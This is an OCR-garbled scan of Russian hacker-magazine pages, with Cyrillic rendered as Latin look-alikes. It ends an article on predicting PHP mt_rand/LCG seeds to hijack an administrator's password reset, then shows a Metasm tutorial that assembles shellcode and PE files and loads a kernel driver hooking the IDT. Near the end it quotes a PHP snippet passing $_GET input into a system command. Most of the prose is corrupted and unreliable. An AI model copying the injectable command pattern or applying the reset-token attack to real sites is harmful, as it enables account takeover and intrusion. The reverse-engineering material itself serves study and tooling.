nepBble AecATb CUMBOOB XeLla, — A8 TaKUX Cly4aeB eCTb Npo-
rpamma PasswordsPro, koTopasi cnpaBnsieTcsi fae C HeMoAHbIMU Xe-
wamu. Llenb faHHoro nepebopa—nonyynTb 3Ha4YeHUE MUKPOCEKYHS,
aTakXey3HaTb UCTUHHbIe cuabl MTn LCG.

6. Takkak3anpocbl Oblsiv 0TNpaBIeHbl B OAHOM COEAVHEHNM O UH
3a ApyrvM, pasHuL,a B MUKPOCEKYHAaX MeX Y 3anpoCcoM Ha BOCCTa-
HOBJIEHWe Napons aTakyloLlero nagMmHucTpatopa bygeT MuHMManb-
Hol. OcTaeTca nuwb nogobpaTb CKOMOE 3HaYeHWe microtime, uMes
TouHble cuabl MTn LCG.

Mpv aTake Ha peasnbHbIX CUCTEMAX MOXKET BO3HUKHYTb HECKOJIbKO
npo6aeM: TPYAHOCTU C CO3/,aHNEM HOBbIX NPOLLECCOB A1 NONYYEHUS
cBexero cupa MT, bonbluas 3agepxka Mexay obpaboTkoi 3anpo-
COB Ha BOCCTaHOBJIEHWE Naposis, a Takxke cMelleHne LCG Ha pasHbIx
Bepcusax PHP. Yto kacaeTcs nocnefHero — cyTh B ToM, 4To PHP
nenaet Bbi30Bbl php_combined_lcgl) s cBoux BHYTPEHHUX HYXA,
Hanpumep Ans redepatuu Toro xxe PHPSESSID, nostomy nepep,
0CyLLeCTBNIEHMEM aTaKu XenaTenbHo y3HaTb Bepcuto PHP 1 nokane-
HO onpefenuTb, kakoi Bbi30B LCG ucnonbayetcs A4ns reHepayuu
Kof,a A5 BOCCTAHOBJIEHWNS NAPONs aTaKyIOLWeEro u Kako — afiMUHM-
cTpatopa. Hanpumep, ons PHP 5.3.17 370 nATbIA U BOCbMOW BbI30BbI
COOTBETCTBEHHO.

[ns peannzaunu ataku bbin cospaH bpytdopcep cupos LCG
Ha CUDA, koTopblii N03B0oASIET OCYLLECTBUTL Nepebop nonaHoro gua-
na3oHa 3HaYeHMit MeHblUe YeM 3a NoNIMUHYTLI. MporpaMma ecTb
Ha DVD.

3AKJIIOYEHWE

B cBeTe HOBbIX TexHuK aTak Ha [TICY B PHP cHoBa 1 cHoBa HacTo-
paxuBaeT peakLus pa3paboTynkoB MHTepnpeTaTopa. B pesynbrate
Hallero NPoA0/KUTENbHOTO 0BLIEHNS C HUMM BCe, Yero HaM yAanoch
[,06uTbcs, — 370 0belaHne f06aBUTH B JOKYMEHTALMIO Npefy-
MpeXAeHns o Hebe30macHoCTM NCnoNb3oBaHusa GyHKuMu mt_rand()
nna kpuntorpaduyecknx uenein. OgHaKo cnycTs HECKONbKO MecsaLeB
B LOKYMEHTaL MK Tak HU4Yero u He nosieunocb. OcTaeTcs NUWb Nopeko-
MeHZoBaTh pa3paboTumkam Beb-npunoxenuit Ha PHP He nonaratbes
Ha AOKYMEHTALWI0, @ UCMOJIb30BaTh NPaBWIbHbIe METOAbI, HAMpW-
Mep GyHKLMIO OT rpedeckux akcnepTos (goo.gl/omJvn). HagexHoi
aHTponuu! 3C

¢ Pabota CtedpaHa Iccepa 2008 roga: goo.gl/wkdxA;

* rainbow-Tabnuubl ans 6pyTa cupos Ha PHP: goo.ql/zZwN5;

* uccneposanue Camu Kamkapa: goo.gl/06zfx;

* aHaNU3 reHepaTopoB NceBAOCAYYaliHbIX Yucen ot [xxopaxa Aprupoca u Arenoca

Kusuca: goo.gl/QQhFK.
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MeTaMOp®hO3El

MaHunynaums ¢ MalMHHBLIM KOAOM AaeT 60blune BO3MOXHOCTH

Kak A1 MPOrpaMMMUCTOB, Tak U AN19 XakepoB. EgnHCTBEHHOE, 4TO ABNAeTCS
KaMHeM NPeTKHOBEHUSA A5 TeX U ApYyrux, — 3T0 AMHaMM4eckuii pasbop
CTPYKTYP, @aHanu3 n cuctemaTnsaumns koga ana adpekTnBHon paboTbl C HUM.
ABTOMaTM3aLMI0 3TOW PYTUHHOM paboTbl Mbl CErOAHS 1 PaCCMOTPYUM.
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[WARNING|

Bcs uHdpopmaums
npeAocTaBNeHa UCKIIOYUTENBHO
B 03HAKOMMUTENbHbBIX LiensX.

Hu pepakuus, H1 aBTOp He HecyT
0TBETCTBEHHOCTH 3a Nto6oik
BO3MOXHbIi Bpe, NPUYUHEHHbIH
MaTepuanamy AaHHOM CTaTbu.
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MeTamopdosbl

BBELEHWVE B JUHAMUYECKYH PEKOMMUJTIALNIO
Y70 e Takoe AnHaMUyeckas peKoMNUIALMA U 3a4eM oHa HyxHa? C Toy-
KV 3pEHNS HayKW PeBepC-UHXWUHUPUHTa BOMPOC HEMpOCTOMA, NOTOMY
4TO BK/toYaeT B cebs pa3bop bonbwmx cTpykTyp brHapHoro koga ¢ no-
clepylounM aHann3oM (0TaeNeHNeM MyX OT KOTJIET) U OnpeaenieHHbIMY
LeCTBUAMM yXKe Haj, MOArOTOBNIEHHbIM KOLOM. KoMnunauus — npouecc
O[JHOHAMPaBNeHHbIN, U B OTAIMYME OT UHTEPNPETATOPOB M BUPTYalbHbIX
MalUVH KOMAWASTOPbI UMEIOT Ha 6OpTy ONTUMM3MpYIoLWMe B3KeH b, KO-
TOPbIE HArMYX0 YHUYTOXKAIOT BCIO «M0JIE3HYI0» MHbOPMaLMIo As NOJHO-
LUeHHOT0 BOCCTAHOBJIEHNS UCXOAHOTO KOAA CKOMMUMPOBAHHOM Npo-
rpamMMbl. KOHEYHO Xe, eCTb BOIMOXKHOCTbL KOMIUAALMN C paroLeHHoN
C TOYKM 3peHNs peBepcepa 0TaafouHoN nHdopMaLmelt (Hanpumep, «gec
-g./progl.c -o /prog»), Ho Ha npakTuKe B release-sepcusx (1o ecTb Ko-
HeYHbIX BapMaHTax) 3T0 ManoBeposTHO. Tbl JOSKEH MOHUMATb, YTO 0TN1a-
LO4YHas MHGOPMaLMA — 3TO NMaska 0 BYX KOHLAX, KOTOpast TaKXKe MOXeT
MOCNYXWTb KpaTyalLLMM NyTeM ANs KpekuHra nponpuetapHoro MO.
CyTb AMHAMUYECKON PEKOMMUAALMM, KOTOPYIO TAKXKE 4aCcTo Ha3bl-
BalOT IBOMYHOI TpaHcnaumei (binary translation), 3aknoyaeTca B amy-
NAUMM OLHOTO Habopa UHCTPYKLMIA Ha APYrOM 3@ CYeT TpaHCaaLum
MaLIMHHOrO Kofa. [ocnea0BaTENbHOCTM MHCTPYKLMIA NepeBOAATCS
13 ucxogHoro Habopa (source) B uenesoi (target] Habop MHCTPYKLKIA.
[lBOVYHas TPaHCNALMS NO3BONAET BbINOIHATL NPUTOKEHWUS O4HOM
apxuUTeKTypbl Npu paboTe Ha BTOPOW, NpUYEM AS ONTUMU3UPYIOLLUX
LBOUYHBIX KOMNUIATOPOB CKOPOCTb BhIMOJHEHNS KOAA 3a4aCTylo Nosly-
YaeTcs Bblle opuruHana. [JuHaMuyeckue pekoMnuUAATopbl BUHapHOro
KOAa MOryT BbiTb peann30BaHbl Kak MPOrpaMMHO, Tak 1 annapaTHo,
npuYeM NporpaMMHoO OHW peanu3ylTcs B 4BYX BapuaHTax:
a) BKayecTBe TpaHCAATOpa GPOHTEHA-KOAA B N0/Ib30BATELCKOM
yposHe [ring 3);
6) sBuAe rnepsusopa, paboTatouleros pexume agpa (ring 0) utpamc-
JIMPYIOLLEro KOS CapXMTEKTYPOM NPOLECCOPOB 04HON NNaTdhopMbl
005 Apyron.

34ecb HeNb3s He NpUBECTYM B NpuMep pa3paboTaHHbin Ans Apple
kopnopauwein Transitive nporpaMMHbIf nakeT Rosetta s gnHamumye-
CKOM TpaHCAsLum Mexay nnatdopMamu Ha ocHoBe apxutekTyp SPARC,
PowerPC, MIPS, Itanium n x86. YposeHb TpaHcnsuum Rosetta bbin
BKJlto4yeH B Bbinycku Mac 0S 10.4 ans Intel-opreHTupoBaHHbIx Mac —
370 bbI10 HeobxoguMo ans ynpoueHns nepexoga ot PPC k x86.

Y70 KacaeTca annapaTHbIX peanun3saLnii, To OHU, N0 CYTH, KNOHUPY-
0T aNropuTMbl TPAHCNALMM KOfla C NocieiHero BapuaHTa copTBepHOI
peanu3aunun. Kak Tbl NOHs, BO3MOXHOCTW ANHAMUYECKOR peKOMNUS-
umum ([ecnu npouecc He 3aBepliaetcs 0bpaTHoON KoMNUAsLMei] B Lenom
HaMHOTO LWKPpe, 4eM 0bblYHAs [BONYHAsA TPAHCAALMS C ONTUMU3aLMEeN.

Huxxe xoTenoch bbl NpeCcTaBUTb HECKObKO BaXKHbIX U MepCrnek-
TUBHbIX HanpaBAeHUA, Te MOXKET NCMOb30BaTbCA IUHAMUYecKan
pekoMnuAALmns:

* [MHaMWyeckas AeKOMMUNALNS U MaHUNYNSLMUS KOLOM Ha YpPOBHe
acceMbriepa KOHKPETHOW MaLLUHbBI: MOPGUHT, KPUNT, CTPYKTYpHas
00¢ycKaLNs MHCTPYKLMI, KOTOPbIE Tk 4aCTO UCMOJIb3YI0TCS BUPY-
conucatenamu;

* [MHaMnyeckas AeKOMMUNALNS C NepeBojoMacceMbnepoBCKmMx
VHCTPYKLWIA B NceBnokop Ha mobom us High Level Language (nanee
npocto HLL);

* [MHaMW4yeckas MUHCTPYMeHTann3awuns buHapHoro Koaa Asis nouc-
Kay3knx MecT (Bonpochkl oNTUMMU3aLMu), yTedku namatv (memory
leaking);

* [MHaMWyecKas MHCTpPyMeHTann3auns buHapHorokoaacnocne-
AYIOLWMM aHaIM30M NOKPbITUSA KOAA A8 MOMCKA TUMUYHbIX OWNBOK
(buffer overflow, stack overflow v tak ganee);

* [MHaMnyeckas peKoMnusaLns 6UHapHOTro KOAa C BO3MOXKHOCTbIO
Tpeica u rmbKon MaHUNyNALUM KOAOM, KOTOPasi MOXeT MCMoJIb30-
BaTbCHA 719 aBTOMATMYeCKNX PaCNaKoBLMKOB Pa3IyHOro poaa
nakepoB, KPUNTOPOB, BUPTYyaNM3aTopoB NCMOHAEMbIX GpaiioB.

Ha ym cpasy npuxoasT gUHaMuyeckne pekoMnuasaTopsl TUna
Valgrind, PIN Toolkit, DynamoRIO, koTopble 4acTo ncnonb3yTcs
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Nekomnunsuus 6ubnuoteku libc pusaccembnepHbiM aBMKKOM Metasm

MocTp rpada uc W nporp I, KCTaTK, NpefocTaBnseT
6onblue BO3MOXHOCTEH, YeM KoMMepyeckuit WinGraph

Kak cpefcTBa /1S aHanu3a nokpsbiTusa Kofa. HekoTopsle nccne-
[,0BaTeM UCMOJIb3YIOT B KAYECTBE MHCTPYMEHTa M3BECTHYIO HblHe
cBs3Ky peBepc-uHxeHepa: IDA Pro + IDAPython. B 6onbwuHcTBe
CBOEM MEPBbIE MHCTPYMEHThI PELLAIOT 04eHb Y3KMe 3a4a4n, To ecTb

06 yHMBEpCaNbHOM MOAXOAE PeUN TyT U He MOXKeT ObiTb. [lns BToporo
WHCTPYMEHTA, KaK MUHUMYM, NPULETCS PAacKOLWENUTLCS Ha NAaTHY0
Bepcuio Mabl, HY 1, COOTBETCTBEHHO, 03HakoMuUTbCs ¢ APl IDAPython.
Kazanock 6bl, yHMBEpCcanbHOro n becnnaTHoro MHCTPYMEHTa A5 Bbl-
LenepeyncIeHHbIX HanpaBeHN He CYLLeCTBYeT, HO Yy[0, KakK oKa3sa-
N0Cb, €CTb, U UMS eMy Metasm.

LUIBEVLAPCKIWN HOX PEBEPC-MHXXEHEPA

Metasm — [0BONIbHO KPYTO GpeMBOPK C OTKPbLITbIM UCXOAHBIM KOLOM,

No3BONSIOLMI B3aUMOLENCTBOBATH C MALLMHHbLIM KOLOM B Pa3finyHbIX

dopmatax [wecTHaguaTepuyHbIM HaiT-KogoM, KogoM Ha Cu 1 acceM-

61epoM KoHKpeTHO MalwnHbl). MogaepxusaeT nogasnsiolsee 6osib-

WWHCTBO apXMTEKTYp NpoLeccopos, $popMaToB UCTIONHAEMbIX GaiinoB

¥ paboTaeT Ha NPaKTUYeCKM BCeX M3BECTHbIX OMEPaLIMOHHbIX CUCTEMAX.

Brepeble fanHas paspaboTka bbina npefcTaBneHa MoanHom Mito

(Yoann Guillot) n3 ESEC Ha kondepeHummn SSTIC 2007, 1 nosaHee Ha Helt

NpakTUKOBANUCh Ha HeCKOIbKUX KoHpepeHumax Hack.lu. KcTaTu,

Metasm siBnsieTcs cepfiLieM Takoro M3BeCTHOMO W l0BUMOro MHCTPYMeH-

Ta MeHTeCTepoB U XaKepoB BCeX MacTeld, kak Metasploit Framework.
OcHoBHas YacTb ¢ppeitMBOPKaA, KOTOPas UMEHYeTCS ABUXKKOM,

HanucaHa Ha Ruby. YcTaHoBKa [,0BO/IbHO NPOCTa, €ANHCTBEHHOE,

4T0 ANS Hee TpebyeTcs CAeNaTh, — 3TO MPONUCATL NYTH B NEPEMEHHbIe

0KPYXXEHMS N0b30BaTENbCKOr0 MHTeprpeTaTopa. Ecau Thl Tak xe,

KaK 1 51, ncnonb3yellb B KayecTBe HTepnpeTaTopa bash, Tebe nocne

pacnakoBku bubnnoTekn HyXHo byaeT [06aBUTL CNeayoLLYy0 CTPOKY

B ~/.bash_profile:

export RUBYLIB=$RUBYLIB:/<nyTb Ao 6ubanoteku>/metasm
[ns nonb3osatenen Windows Bonpoc pelaeTcs aHanornyHbiM 06-
pasoM, ecaiv oHu pabotatoT ¢ cygwin (amynatop UNIX-cpegpi). B nobom

LpyroM ciiyyae naeM B nepeMeHHble okpyxeHus 0S Windows: cBoiicTBa
«Moero KoMnbloTepa», Ha BKNaake «[lononHuTenbHo» Haxoanm «[llepe-
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MEHHbIe OKpYyXeHus». Ecnuy Tebs yxe ctout Pybu, To TaM fonxHa
66iTb nepemenHas RUBYLIB (ecnv ee HeT, To co3gaeM BpyuHyio), B KOTO-
pyto HYXXHO DyfeT Kak pa3 Taku fonucatb NyTb [0 caMoit bubnunotekn.

YT106bI NPOBEPUTL, paboTaeT nu Hawa bubnunoTeka, [OCTAaTOYHO
BMMCaTb B KOHCOJb CNIeAYIOLLYI0 KOMaHAY:

$ ruby -r metasm -e 'p Metasm::VERSION'
1

C ycTaHoBKOM pa3obpanuce, Tenepb pacCMOTPUM KpaTKWii nepe-

YeHb BO3MOXHOCTEN GpperMBOpKa:

* WHTepakTUBHas paboTau rnbkas MaHUNyNALNSA UCNOHSEMbIMU
¢dannamu: PE COFF, ELF, Mach-0, Raw Shellcode;

*  KOMNWUAALMSA CHYNs 6e3 NCnonb30BaHUS KOMMUSTOPOB, TNMHKEPOB
M TOMY N0A06HOT0 UHCTPYMEHTapHS;

e nun3accembnupoBaHue 1 baszosas gekomnunsauus s ncesgokon C-like
HLL;

®  MaHWNynaUWs CTPYKTypon dainos.

[TOCTAHOBKA MPOCTbIX 3ALAY

1 BbICTPOE PELLEHWE

BbliLe Mbl paccMOTpenyu nepcnekTUBHbIE HaNpPaBieHWs [UHAMNYeCKO

peKoMnUAALMM, TENepb NPULLIO BPEMS MPOAEMOHCTPUPOBATL BO3MOX-

HOCTU dpeliMBOpKa Ha Aene. MTak, ecTb npocTas 3afava KoMIUAALUm

cbiporo Linux-wenn-koga Ha asm. Huxe npusefeH npumep cbopkm

wenn-kofa 6e3 ucnosib3oBaHWsA KOMNUAATOPa.
MoakntoyaeM Hawy 6nbnvoTeky:

require 'metasm’

Bbi3biBaeM Moflynb acceMbanpoBaHus, TMN UcnosnHseMoro danna
a.out, apxutekTypa npoueccopa IA-32 (to ectb x86), Bbixn0nHOI daitn
testl.out, B nepemerHyto RAW_SHELLCODE 3axocum bydep c kogom
Halero Wwenn-Koga:

Metasm: :AOut.assemble(Metasm: :Ia32.new, «
<<RAW_SHELLCODE).encode_file('testl.out")

.text
.entrypoint

mov eax, 4

mov ebx, 1

.data

str db "test\\n"
strend:

.text

mov ecx, str
mov edx, strend - str
int 86h // linux sys_write

mov eax, 1

mov ebx, 42

int 806h // linux sys_exit
ret

RAW_SHELLCODE

OTANYHO, NPOBEPSEM Halll CbIPOV WeN-KOA U BUANM, 4TO OH pa-
6oTaeT, AM3acceMbAMpoBaB BCTPOEHHbLIM Au3accembepoM (KoTopeii
WAeT B Nanke ¢ npumepamu /samples):

$ ruby ./testl.rb
$ ruby ./disassemble.rb --no-data --cpu Ia32 ./testl.out
entrypoint_o:

add [eax], al ; @0 0000
add fs:[eax], al ; @2 640000
adc [eax], al ; @5 1000
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Metasm npefocTaBnseT BO3MOXKHOCTb MPOCMOTPA SHTPONUM U YA06HYIO
HaBUraLuIo No CeKLMAM, CTpokaM, GyHKUMAM dpaina

mov eax, 1 ; @36h b801000000

mov ebx, 2ah ; @3bh bb22000000
int 86h 5 @46h cd8e
ret 5 @42h c3 endsub entrypoint_

CobCTBEHHO, Thl MOXeLLb CPaBHUTL 3TOT KO C An3acceMbnepHbiM
JIUCTUHIOM, MOJTyYeHHbIM C MoMolyblo ndisasm n3 naketa NASM.

$ ndisasm -b32 ./testl.out

Takow gusaccembnepHblil gamMn nerko byfeT pacnapcuTb TeM xe
Metasm/Ruby 1 B fanbHeiweM MaHUNYANPOBATL 3TUM KOLOM

KaK Jyle yrogHo — ONTUMKU3NPOBaTb y3KMe MecTa, TPaHCANpPOoBaThb
B OMKOZbI PYTMX MallnH, pa3bueaTh 1 nepeBoanTs B Mukog (Mutable
Independent Code) u Tak ganee.

A Kak HacuyeT flekoMnuaaumm n nepesoga B ncesfokof HLL, Ha-
npuMep, peanbHoro paboTatowero ncnonHsemoro Ganna bubanoteku
libc? Mocne HekoTopoW Bo3HU UHTepnpeTaTopa Pybu u wypwaxus
npoLeccopa Ha BbIX0fe Mbl MONyYnUM:

$ ruby ./disassemble.rb --no-data --cpu Ia32 --exe ELF «
/1ib/libc.so.6 --decompile

KayecTBo Kofja He CKa3aTb YTO XOPOLLEE, HO U He 0cobo nioxoe,

K npuMepy, ANs MOPUHTa Ha YPOBHE MCXOAHbIX KOLOB UMW B KayecTse
NnernTUMHOro ctaba ana ucnonHseMolx GanaoB NoayyYeHHbI KoL 04eHb
naxe xopol. Ecnv HeMHoro nocuaeTs v nopaboTaTh Haj MoLyneM fe-
KOMMUNISLMM, eCTECTBEHHO, MOXHO J,0OUTbCSA KyAa NyylunX pesynbsTa-
ToB. [lns 6onee kayeCTBEHHON [EKOMMNUAALMN MOXKHO M3MEHWUTb NOA-
XOA, Hanpumep Ha cTynewu redepauuu IR (Iltermediate Representation)
pa3busaTh Kof Ha cneuunanbHble bnoku (yanel rpadal, ganee Ha ocHose
CUTHATYp METOLOM COMOCTaBMeHNs BOCCTAHABAMBATb CTPYKTYpbl KOAA.
Peanusauus ngeu 4oBoNAbHO NPoOCTa, Mo CyTH, NpefcTaBaAseT coboi
creunabHblii KOHCTPYKTOP KOHEYHOr0 aBTOMaTa Ha OCHOBE MHOXe-
cTBa cBUTYKelcoB Ruby-kopa: case something when «1» ... when «2»
... nTaK panee. Ecnv npukpyTUTh clofa MOAYNM reHepaLu npaBao-
Nof00HbIX UMEH NepeMeHHbIX, QYHKLUA, NPOLEAYP, MOXKHO NONY4YNTb
bonee-MeHee NONHOLEHHbIN fekoMnuaaTop. MogHaB xe Beb-naHenb
Ha Ruby on Rails, MoXHO 3a KOpoTKoe BpeMsi opraHn30BaTh U HEMOXoW
cepsuc no pgekomnunsumu M0.

Tekyluit nceBAOKOS D0MbLIE MOXOA Ha BbIXJI0N GPOHTEH0BOM
4acTy KOMNUNATOPA gCC, Ha 3Tane reHepaLnn CMHTaKCMYecKoro epe-
Ba. Takoi Kog nerko neperHats B Pl-kog (Position Independent Code,
He NyTaThb C p-KOAOM BMPTYyaNbHbix MawwuH). CkpunT disassemble.
rb npuHMMaeT HaMHoro 6oMbLie NapaMeTpoB U, COOTBETCTBEHHO,
npepocTaBnseT 6onblive BO3MOXHOCTY 415 MAaHUMYASLWM NPOLLecCcoM
nusaccembnmposaHus. B nanke samples Tbl Takxe MOXellb HaNTK
cueHapuit disassemble-gui.rb, npeacTaBnsiownii coboit rpaduyeckyto
NPOCNIONKY Hafl KOHCONIbHBIM iu3accembiepoMm.
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ApxuTeKTypa BUpPTYyanbHoii MawuHbl T2 Metasm

CEOPKA NCMOJIHAEMBIX ®ANJI0B HA HLL

Bbile Mbl paccMoTpeny KOMAUAALMIO CbIPOro We-KoAa, B KOTOPOM

obownuck 6e3 Mcnonb30BaHUA KOMIUAATOPOB. 3T0 yXe BnevaTnser,

a 4TO Thl CKaXeLllb, eC/IN Mbl PeLUNM KOoMMUAupoBaTb C1-Kof ¢ Ucnonb-

3oBaHunem WIN32API? Bepuiwb nau HeT, Ho Metasm MoxeT v He Takoe!
MopgknioyaeM Hawy bubnuoTteky:

require 'metasm'

[Nanblwe onncbiBaeM napaMeTpbl 48 cbopku buHaps: nepebIi
napameTp execlass, B KOTOpbIi nonagfaeT TMN ucnonHsemoro daina
Metasm::PE, MoxHo BbibpaTh v gpyrve Tunsl ELF/MachO, ¢ nomoubio
BTOpPOro napameTpa srctype_data ykasbiaeM, 4To Haw Kog Ha C (no-
HSITHO, 4TO MOXHO yKa3aTb M asm, ec/in y Hac Kog Ha accembiepe):

$opts = { :execlass => Metasm::PE, :srctype data => 'c' }

CknenBaeM NCXOAHUKM Hawero daina u camnna exeencode.rb,
npeAcTaBNeHHOro Kak pas ans komnunsuun HLL-ucxogHukos:

load File.join(File.dirname(__FILE__), 'exeencode.rb')
__END__

Huxe npepctaBneH kog Ha Cu. Ecnu BHUMaTenbHO paccMoTpeTh
3TOT KO, MOXHO 3aMeTuTb, 410 WinAPI-dyHKUMM TyT npecTaBneHsl
[eKopaTopaMu, 1 x B 06513aTeNlbHOM NOPSAKE HYXXHO BHa4ane obb-
SBNSATb B BUAE NPOTOTUNOB. Thl TAKXKE [OSKEH MOHUMATb, YTO Ntobble
apyrue dyHkuum ns paga CRT/RTL/LIBC v npouunx 6ubnnoTek Takxe
LOJDKHBI ONUCLIBATLCS B BUAE MPOTOTUMOB NPEX e, YeM Thl CMOXKellb
CM0J1b30BaTh UX B CBOEM KOJLE.

_ stdcall int MessageBox(int, char*, char*, int);
_ stdcall void ExitProcess(int);
void main(void)
{
MessageBox (@, "Sanjar Satsura", "hello", 0);
ExitProcess(90);

BbICOKOYpOBHEBbIV KOA TYT MOXKHO MeLlaTb TakXe 1 ¢ acceMbre-
pOM, Kak oTeNbHo B Buae cBa3ku C + ASM kopa, Tak v B Bufie uHnam-
HOBbIX acceMbnepHbIx BCTaBok NpsiMo B Cu-koge. ToT e caMblil Koj,
Ha yncToM accembnepe x86 byfeT BbIrNAAeTb Tak:

require 'metasm’
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Co3paeM nepeMeHHyto pe B Ka4ecTBe XeHANA 415 MaHUNYAaLUK
KoAOM. YKa3sbiBaeM TN ucnosnxsemoro ¢anna, B AaHHoM ciyyae — PE,
Hal Kof Ha accembnepe, N03TOMYy NpUMeHseM MeTod assemble, Tak
Kak Ko Mbl nuwwem ans x86, OC ykasbiBaeM B Ka4eCTBE apXUTEKTYpbl
1a32. B nepemeHHyto EOS meTogom HEREDOC nomelaetcs Haw Kog,

Ha acceMbnepe:

pe = Metasm::PE.assemble Metasm::Ia32.new, <<EOS

.entrypoint

push @

push title

push message
push 0

call MessageBoxA

Xor eaX, eax
ret

.data

message db 'Sanjar Satsura', ©
title db 'hello', ©

EOS

CobupaeM Haw vcnonHsaembln dann:
pe.encode_file 'testpe.exe’

B ncxonHMKax, NpunoxeHHbIX K JaHHOM CTaTbe, Thl MOXELLb HAWTK
LLeMKY, Lieslb KOTOPO — NPOAEMOHCTPUPOBATb XOA TPAHCAALUM U KO-
fnoreHepauum pybuHosoro komnunstopa Metasm. lymato, He HyXHO
ObITb reHneM, 4Tobbl NOHATH, KaKoW NPOPUT MOXKHO COPBaThb Ha 3TOM
TeMe. Ecv nocMoTpeTh Ha BHYTPEHHOCTU NPefIoKEHUI YepHOro
PbIHKA, K TPUMEPY YCIYIW «YHWUKaTbHbIX» KPUNTOPOB/MPOTEKTOPOB,
npefoCTaBAAIOWMX LOCTYN Yepe3 Beb-nHTepdeiic, MOXKHO NOHATD,
HACKOJIbKO OHM y6oru B peanusauyusx. M HeyaneutenbHo, YTo BCe
cepBuCHI N0A06HOI0 pofa 0Ka3biBaloTCA nocTpoeHsl Ha PHP (Be6-
nHTEpdeiic, W3] u ncnosHseMoM BUHapHOM ABUXKKeE, paboTatLleM
B nogasnaouieM bonblnHcTae (99,8%) Ha VPS ¢ OC Windows. [loba-
BWM CloJla KPUBOPYKMX KoZiepoB Nofo6HbIX Be6-CepBUCOB C KOHCTPYK-
UMSMU Kofa TUna:

system_execute('C:\\SXCryptor\engine.exe «
--input_file '.$ GET["file_id"].' «
--output_file '.rand_fl($fname).' <

--dir '.$wrk_dir);

Bce, 4T0 Mbl paccMoTpeny BhiLLe, eLe LLBETOYKM N0 CPAaBHEHUIO
C TeM, 4TO 3TOT BoJsILIEOHbI ppeiMBOPK HaM NO3BOSET HanucaThb. Tak
BOT, OH M03BOJISIET CO3/[}aBaTh HE TOJIbKO ring 3 NPUI0XKEHNS, HO U MO-
LyAV 94pa, LpaiiBepbl A8 N3BECTHbIX NM0JIb30BATENbCKMX OMEPaLMOH-
HbIX cUCTEM, paboTocnocoBHOCTL KOTOPLIX TYT e MOXHO NMPOBEPUTH
npv nomoLy BcTpoeHHbix VM. 3Byunt kpyTo? [laBai nonpobyem
CO3/aTb NONHOLLEHHbIN ipaliBep C BO3MOXHOCTbIO 3arpy3Ku 1 Bbl-
rpy3ku. Huxe s npuseny GparMeHTbl KOLA C KOMMEHTApUSAMK, MOJSTHbIN
MCXOLHWK fipaiiBepa Tbl MOXELUb HAMTK Ha HalleM AWCKe.

require 'metasm’

O6paTut BHUMaHMeE: HUXKe Mbl HE MHKYAUM B1bnnoTeky, B LaHHOM
cnyyvae cnoso include HeobxonuMo L5 nepeBoAa UMEHW Knacca
Metasm B rnobasbHyto ob6nacts Bugumoct. B C++/C# 3a 310 oTBET-
CTBEHHA KOHCTPYKLMA «using namespace ***». [lo 3Toro Mbl fenanu
Tak: Metasm::PE.assemble, Metasm::1a32.new. B fanbHelwem KoH-
CTpyKLUuto Metasm:: MoXHO ByfeT He nucaTk.
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include Metasm

# WmAa Hawero pgpaiBepa

$drv = 'drv_test.sys'

# Pasmep bydepa 06bIMHO McCMONb3yeTCA ANA Tpeilca ApaiBepa,
3/lecb Mbl €ro paccmaTpuBaTb He byaem

BUF_SZ = @

# MpoBepAem, cyuwecTByeT Au dail Hawero ApainBepa

if not File.exist? $drv

Cobupaem gpaiisep, B nepemeHHoit DRV_CODE copepXxuTcs Ko Ha-
wero 32-6utHoro gpansepa gna Windows. Onuus kmod B encode_file
yKasblBaeT, YTo fpaiiBep paboTaeT Ha ypoBHe afpa:

PE.assemble(Ia32.new, <<DRV_CODE).encode_file«
($drv, 'kmod')
#define bufsz #{BUF_SZ}

.data

oldil dd 0,0

0ldil5 dd 0,0

buf dd bufsz dup(?)

.text

.entrypoint

mov eax, [esp+4]

mov dword ptr [eax+0x34], unload
call setup_idt

Xxor eax, eax

// Pa3mep wucnonb3yemoro bydepa
mov [buf], eax

ret

[ns 3anycka n ocTaHosa HanuweM Cu-obeptky. DynLdr — cneuu-
aNbHbIA KapKacHbl Mofynb Metasm, no3BonsioLWwmini UHTepNpeTaTopy
Ruby ManunynupoBaTb akcnopTupyemMbiMu API-dyHKLUUSAMYU LuHaMuye-
cKu paspenseMsix bubnunotek (*dll, *so).

DynLdr.new_api_c <<DRV_CODE

// Onpepensaem Tunbl U CTPYKTYpPbl AAHHbIX
typedef int BOOL;

typedef char CHAR;

typedef unsigned long DWORD;

3pechb, Kak 1 onucbiBanochk paHee, 3afaem npototunsl WinAPI-
byHKLMA:

__stdcall BOOL CloseServiceHandle«
(SC_HANDLE hSCObject __attribute__ ((in)));
__stdcall SC_HANDLE «
CreateServiceA(SC_HANDLE hSCManager «
__attribute_ ((in)), LPCSTR lpServiceName «
__attribute_ ((in)), LPCSTR lpDisplayName «
__attribute_ ((in)),DWORD dwDesiredAccess «
__attribute_ ((in)), DWORD

KoHCTaHTbI, ucnoab3yeMble MMNoOpTUpyeMbiMy Bbille API-
byHKLMAMY

#define STANDARD_RIGHTS_REQUIRED (0x000F0000L )
#define SC_MANAGER_CONNECT 0x0001
#define SC_MANAGER_CREATE_SERVICE 0x0002

Hy v, cobcTBeHHO, Kod ANs 3arpy3ku/Bbirpy3ku fpansepa:
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# Co3paem ¢yHkuuw loadmod, rpe nepemeHHoW mod
npucBavBaeTcA ykasaTesb Ha Haw ApaiBep
def loadmod(mod=$drv)

[Mocne Toro kak Mogyns DynLdr nogrpysun Bce HyxHble APl n3 npo-
TOTWUMNOB, UMEHa GYHKLMIA MOXKHO NUCaTb B HUXHeM perucTpe. lMepe-
MeHHas sh aBNAeTCa XeHANOM AN OTKPbITUS MeHe[Kepa ynpasneHus
cepsucamu. bes ctapta OpenSCManagerA() Mbl He MoXeM cTapToBaTh
cepBuc Hawero apaisepa CreateServiceA().

sh = DynlLdr.openscmanagera«

(@, @, DynLdr::SC_MANAGER_ALL_ACCESS)

# BbinneBbiBaeM owM6KY NPU BO3HUKHOBEHWUU WUCKIKNYEHUS
raise "cannot openscm" if (sh == @)

MepeMeHHas rh aBnseTca xeHAN0M GYHKLNM CTapTa cepBuca,
dyHkumeit CreateServiceA() sanyckaem cepsuc, nepesas napameTpbl
Lons 3anycka, Tak, napametp SERVICE_KERNEL_DRIVER yka3biBaeT
Ha To, YTO 3TO ApaiBep pexunma sapa.

rh = DynLdr.createservicea(sh, mod, mod, «

DynLdr: :SERVICE_ALL_ACCESS, «

DynLdr: :SERVICE_KERNEL_DRIVER, «

DynLdr: :SERVICE_DEMAND_START, «

DynLdr: :SERVICE_ERROR_NORMAL,

File.expand_path(mod), 0, 0, 0, 0, 9)

# CTapTyem cepBUC

